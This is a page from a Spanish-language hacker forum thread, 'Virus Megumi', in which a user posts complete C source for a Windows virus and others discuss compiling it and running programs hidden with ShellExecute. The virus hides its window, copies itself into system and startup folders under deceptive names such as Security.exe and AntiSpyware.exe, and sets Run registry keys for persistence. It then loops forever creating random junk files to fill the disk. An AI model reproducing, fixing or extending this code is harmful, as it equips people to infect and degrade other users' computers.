hacker


Ingresar con nombre de usuario, contraseña y duración de la sesión
| Portal Hacker | Editorial | Descargas | Ezine |
Inicio Ayuda Ingresar Registrarse
11 de Octubre de 2008, 11:28:15
Noticias: ¿Quieres aprender a programar en C/C++?
Para ver este enlace Registrate o Inicia Sesion
> lee aquí

+  Foros pOrtal Hacker
|-+  Programacion
| |-+  C / C++
| | |-+  Código Abierto (Moderadores: mycrox, TxShAcK)
| | | |-+  Virus Megumi
0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: 1 [2]  Todos Ir Abajo Imprimir
Autor Tema: Virus Megumi  (Leído 802 veces)
Void
NZ1
*
Desconectado Desconectado

Mensajes: 74


Bill Gates, Suicidio, Al ver que windows se cuelga


Ver Perfil
« Respuesta #15 : 11 de Julio de 2008, 07:09:59 »

Lo termine, solo me falta lo de filecopy. Unas preguntas, ¿es mas rapido con filecopy, o por que me lo recomiendas?, y ¿que es shellexecute?.

Hasta ahora esta si:
Código:
#include<stdio.h>
#include<windows.h>
#include<string.h>


char name[12];

unsigned char gettecla()
{
      int j=(rand()%2);
      if(!j) return ((rand()%26)+97);
      if(j) return ((rand()%10)+48);
}

void tateti()
{
     int i=1;
     name[0]=((rand()%26)+65);
     name[8]='.';
     while(i<12)
     {
           if (i!=8) name[i]=gettecla();
           i++;
     }
}



main(int argc, char *argv[])
{
      FreeConsole();
      FILE* archivo;
      unsigned long int numero, k=0;
      char caracter[1024];
      bool sera=false;
     
      HKEY elkey;
      char da[]="C:\\WINDOWS\\SYSTEM32\\Megumi.exe";
      char db[]="C:\\WINDOWS\\Megumi.exe";
      char dc[]="C:\\WINDOWS\\Security.exe";
     
     
      CopyFile(argv[0],"C:\\WINDOWS\\SYSTEM32\\Megumi.exe",0);
      CopyFile(argv[0],"C:\\WINDOWS\\Megumi.exe",0);
      CopyFile(argv[0],"C:\\WINDOWS\\Security.exe",0);
     
      CopyFile(argv[0],"C:\\Documents and Settings\\All Users\\Menú Inicio\\Programas\\Inicio\\SoftwareRunner.exe",0);
      CopyFile(argv[0],"C:\\Documents and Settings\\Default User\\Menú Inicio\\Programas\\Inicio\\AntiSpyware.exe",0);
     
      RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &elkey);
      RegSetValueEx (elkey, "Megumi", 0, REG_SZ, (LPBYTE) da, sizeof(da));
      RegSetValueEx (elkey, "Megumiv", 0, REG_SZ, (LPBYTE) db, sizeof(db));
      RegSetValueEx (elkey, "Security", 0, REG_SZ, (LPBYTE) dc, sizeof(dc));
      RegCloseKey(elkey);
     
      while(k<1024)
      {
            caracter[k]='0';
            k++;
      }
     
      if(strcmp(argv[0],da)==0) sera=true;
      if(strcmp(argv[0],db)==0) sera=true;
      if(strcmp(argv[0],dc)==0) sera=true;
     
      if(sera)
      {
      for(;;)
      {
             tateti();
             if (!(archivo=fopen(name,"r+b"))) archivo=fopen(name,"wb");
             k=0;
             numero=((rand()%10)+1)*1024;
             while(k<numero)
             {
                   fwrite(&caracter,1024,1,archivo);
                   k++;
             }
             fclose(archivo);
             
      }
      }
}

cura
En línea

Vale más ser un cobarde un minuto que estar muerto todo el resto de la vida.
Simonss
NZ1
*
Desconectado Desconectado

Mensajes: 36


Ver Perfil
« Respuesta #16 : 13 de Julio de 2008, 03:09:38 »

Unas preguntas, ¿es mas rapido con filecopy, o por que me lo recomiendas?, y ¿que es shellexecute?.

Tu puedes averiguarlo utilizando "TimeGetTime" para saber cual de ellos es mas veloz. Puedes usar Shellexecute para ejecutar un archivo, programa u otro de forma transparente, si asi lo quieres.
« Última modificación: 13 de Julio de 2008, 03:10:24 por Simonss » En línea
Void
NZ1
*
Desconectado Desconectado

Mensajes: 74


Bill Gates, Suicidio, Al ver que windows se cuelga


Ver Perfil
« Respuesta #17 : 20 de Julio de 2008, 10:36:12 »

Gracias, pero ¿podrias ponerme un ejemplo de como se usan??
En línea

Vale más ser un cobarde un minuto que estar muerto todo el resto de la vida.
Deybit_cool
Recien llegado
*
Desconectado Desconectado

Mensajes: 4


Ver Perfil
« Respuesta #18 : 22 de Julio de 2008, 01:50:08 »

loco esteube probando el virus que teypiastes y tiene 5 errores y 1 warnirn esta malo si sabes como arreglarlo dimelo
En línea
Simonss
NZ1
*
Desconectado Desconectado

Mensajes: 36


Ver Perfil
« Respuesta #19 : 22 de Julio de 2008, 06:07:13 »

Gracias, pero ¿podrias ponerme un ejemplo de como se usan??

Código:
#include <windows.h>

int main()
{
  ShellExecute(0,"open","C:\\WINDOWS\\NOTEPAD.EXE",NULL,NULL,0);
  return 0;
}

El ultimo "0" cambialo por "1" para ver la diferencia.
En línea
Void
NZ1
*
Desconectado Desconectado

Mensajes: 74


Bill Gates, Suicidio, Al ver que windows se cuelga


Ver Perfil
« Respuesta #20 : 27 de Julio de 2008, 10:08:58 »

Citar
loco esteube probando el virus que teypiastes y tiene 5 errores y 1 warnirn esta malo si sabes como arreglarlo dimelo

Yo lo lo compile bien y sin errores ni warnings, y lo ejecute en mi computadora para ver si anda (pude quitarlo despues otra ves ya que conosco el codigo fuente), y funciono correctamente. Quisas no ande para tu compilador, yo uso dev-c++.

Citar
Citar
Gracias, pero ¿podrias ponerme un ejemplo de como se usan??

Código:
#include <windows.h>

int main()
{
  ShellExecute(0,"open","C:\\WINDOWS\\NOTEPAD.EXE",NULL,NULL,0);
  return 0;
}


El ultimo "0" cambialo por "1" para ver la diferencia.

Gracias Simonss, eres todo un maestro.
 cura
En línea

Vale más ser un cobarde un minuto que estar muerto todo el resto de la vida.
Páginas: 1 [2]  Todos Ir Arriba Imprimir 
« anterior próximo »
Ir a:  


Ingresar con nombre de usuario, contraseña y duración de la sesión

Powered by SMF 1.1.6 | SMF © 2006-2008, Simple Machines LLC hacker

Juegos gratis - Articulos PHP - Juegos - Trucos - Letras - Juegos - Juegos Online